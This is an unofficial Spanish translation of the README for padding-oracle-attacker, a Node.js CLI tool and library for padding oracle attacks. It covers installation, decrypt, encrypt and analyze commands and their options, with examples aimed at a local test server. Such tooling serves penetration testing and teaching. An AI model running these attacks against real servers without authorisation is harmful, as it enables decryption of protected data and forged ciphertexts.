padding-oracle-attacker CLI para Ataques Padding Oracle
padding-oracle-attacker CLI para Ataques Padding Oracle

padding-oracle-attacker: CLI para Ataques Padding Oracle

CRÉDITOS NO HEREDADOS

El siguiente contenido es una traducción no oficial del repositorio original (Github) citado al final del artículo. La única intención es la comprensión de la herramienta en idioma español.

Herramienta CLI y librería para ejecutar fácilmente ataques padding oracle (‘oráculo de relleno‘), con soporte para solicitudes de red concurrentes y una elegante interfaz de usuario.

Esta vulnerabilidad no está relacionada con la base de datos Oracle ni con la Compañía Oracle de ninguna manera. En criptografía, un ‘oráculo‘ es un sistema que realiza acciones criptográficas al tomar ciertas entradas. Por lo tanto, un ‘oráculo de relleno‘ es un tipo de sistema que toma datos cifrados del usuario, los descifra y verifica si el relleno es correcto o no.

Demo ataque padding oracle
Demo ataque padding oracle

Instalar

Asegúrate de que Node.js esté instalado, y luego ejecuta:

$ npm install --global padding-oracle-attacker

o

$ yarn global add padding-oracle-attacker

Uso en CLI

Usage
  $ padding-oracle-attacker decrypt <url> hex:<ciphertext_hex> <block_size> <error> [options]
  $ padding-oracle-attacker decrypt <url> b64:<ciphertext_b64> <block_size> <error> [options]

  $ padding-oracle-attacker encrypt <url> <plaintext>          <block_size> <error> [options]
  $ padding-oracle-attacker encrypt <url> hex:<plaintext_hex>  <block_size> <error> [options]

  $ padding-oracle-attacker analyze <url> [<block_size>] [options]

Commands
  decrypt                  Finds the plaintext (foobar) for given ciphertext (hex:0123abcd)
  encrypt                  Finds the ciphertext (hex:abcd1234) for given plaintext (foo=bar)
  analyze                  Helps find out if the URL is vulnerable or not, and
                           how the response differs when a decryption error occurs
                           (for the <error> argument)

Arguments
  <url>                    URL to attack. Payload will be inserted at the end by default. To specify
                           a custom injection point, include {POPAYLOAD} in a header (-H),
                           request body (-d) or the URL
  <block_size>             Block size used by the encryption algorithm on the server
  <error>                  The string present in response when decryption fails on the server.
                           Specify a string present in the HTTP response body (like PaddingException)
                           or status code of the HTTP response (like 400)

Options
  -c, --concurrency        Requests to be sent concurrently                      [default: 128]
      --disable-cache      Disable network cache. Saved to                       [default: false]
                           poattack-cache.json.gz.txt by default
  -X, --method             HTTP method to use while making request               [default: GET]
  -H, --header             Headers to be sent with request.
                             -H 'Cookie: cookie1' -H 'User-Agent: Googlebot/2.1'
  -d, --data               Request body
                             JSON string: {"id": 101, "foo": "bar"}
                             URL encoded: id=101&foo=bar
                           Make sure to specify the Content-Type header.

  -e, --payload-encoding   Ciphertext payload encoding for {POPAYLOAD}           [default: hex]
                             base64          FooBar+/=
                             base64-urlsafe  FooBar-_
                             hex             deadbeef
                             hex-uppercase   DEADBEEF
                             base64(xyz)     Custom base64 ('xyz' represent characters for '+/=')

  --dont-urlencode-payload Don't URL encode {POPAYLOAD}                          [default: false]

  --start-from-1st-block   Start processing from the first block instead         [default: false]
                           of the last (only works with decrypt mode)

Examples
  $ poattack decrypt http://localhost:2020/decrypt?ciphertext=
      hex:e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9
      16 400
  $ poattack encrypt http://localhost:2020/decrypt?ciphertext= "foo bar 🦄" 16 400
  $ poattack encrypt http://localhost:2020/decrypt?ciphertext= hex:666f6f2062617220f09fa684 16 400
  $ poattack analyze http://localhost:2020/decrypt?ciphertext=

Aliases
  poattack
  padding-oracle-attack

Librería API

const { decrypt, encrypt } = require('padding-oracle-attacker')
// or
import { decrypt, encrypt } from 'padding-oracle-attacker'

const { blockCount, totalSize, foundBytes, interBytes } = await decrypt(options)

const { blockCount, totalSize, foundBytes, interBytes, finalRequest } = await encrypt(options)
decrypt(options: Object): Promise
encrypt(options: Object): Promise

Opciones requeridas

concurrency: number = 128

Las solicitudes de la red deben enviarse simultáneamente.

isCacheEnabled: boolean = true

Las respuestas se almacenan en la memoria caché por defecto y se guardan en poattack-cache.json.gz.txt. Establecer en false para desactivar el cacheo.

requestOptions: { method, headers, data }
requestOptions.method: string

Método HTTP a utilizar al hacer la solicitud. GET por defecto. POSTPUTDELETE son algunas opciones válidas.

requestOptions.headers: { string: string }

Los encabezados se enviarán con la solicitud. Ejemplo: { 'Content-Type': 'application/x-www-form-urlencoded' }

requestOptions.body: string

Request body. Puede ser una cadena de JSON, parámetros codificados en la URL, etc. El encabezado de Content-Type tiene que ser establecido manualmente.

logMode: 'full'|'minimal'|'none' = 'full'

full: Registra todo en la consola (por defecto)
minimal: Sólo se registran después del inicio y la finalización en la consola
none: No hay nada que registrar en la consola

transformPayload: (ciphertext: Buffer) => string

Función para convertir el ciphertext en una cadena al hacer una solicitud. Por defecto, ciphertext se codifica en hexadecimal y se inserta en el punto de inyección (URL final a menos que {POPAYLOAD} esté presente).

Opciones opcionales (sólo descifrar)

alreadyFound: Buffer

Bytes de texto plano ya conocidos/encontrados que pueden ser salteados (desde el final). Si se proporciona un Buffer de diez bytes, los últimos diez bytes serán salteados.

initFirstPayloadBlockWithOrigBytes: boolean = false

Iniciar el primer bloque de payload con bytes de ciphertext originales en lugar de ceros.
Ejemplo: abcdef12345678ff 1111111111111111 en lugar de 00000000000000ff 1111111111111111

startFromFirstBlock: boolean = false

Empieza a procesar desde el primer bloque en lugar del último.

makeInitialRequest: boolean = true

Realizar una solicitud inicial con el ciphertext original proporcionado y registrar la respuesta del servidor a la consola para permitir al usuario asegurarse de que las solicitudes de la red se envían correctamente.

Opciones opcionales (sólo cifrar)

makeFinalRequest: boolean = true

Después de encontrar los bytes de ciphertext para el nuevo plaintext, realiza una solicitud final con los bytes encontrados y registra la respuesta del servidor en la consola.

lastCiphertextBlock: Buffer

ciphertext personalizado para el último bloque. El último bloque es sólo ceros por defecto (000000000000000).

Desarrollando

padding-oracle-attacker está escrito en TypeScript. Si quieres modificar los archivos de origen y ejecutarlos, puedes compilarlos primero en JS y ejecutarlos usando un node, o usar ts-node.
Ejemplo: yarn build then node dist/cli ... o simplemente ts-node src/cli ...

yarn build o npm run build

Construye los archivos TypeScript dentro del directorio src a los archivos JS y los envía al directorio dist.

yarn clean o npm run clean

Borra el directorio dist.

yarn lint o npm run lint

Linta los archivos usando eslint.

yarn test o npm run test

Linta y ejecuta las pruebas con ava.

node test/helpers/vulnerable-server.js

Ejecuta el servidor de pruebas que es vulnerable a ataques de padding oracle en http://localhost:2020

Relacionado

Licencia

Dark Mode

padding-oracle-attacker (este enlace se abre en una nueva ventana) por KishanBagaria (este enlace se abre en una nueva ventana)

🔓 CLI tool and library to execute padding oracle attacks easily, with support for concurrent network requests and an elegant UI.

MIT © Kishan Bagaria

Más artículos
Handbrake-para-reducir-el-peso-de-un-Video
Cómo usar Handbrake para reducir el peso de un Vídeo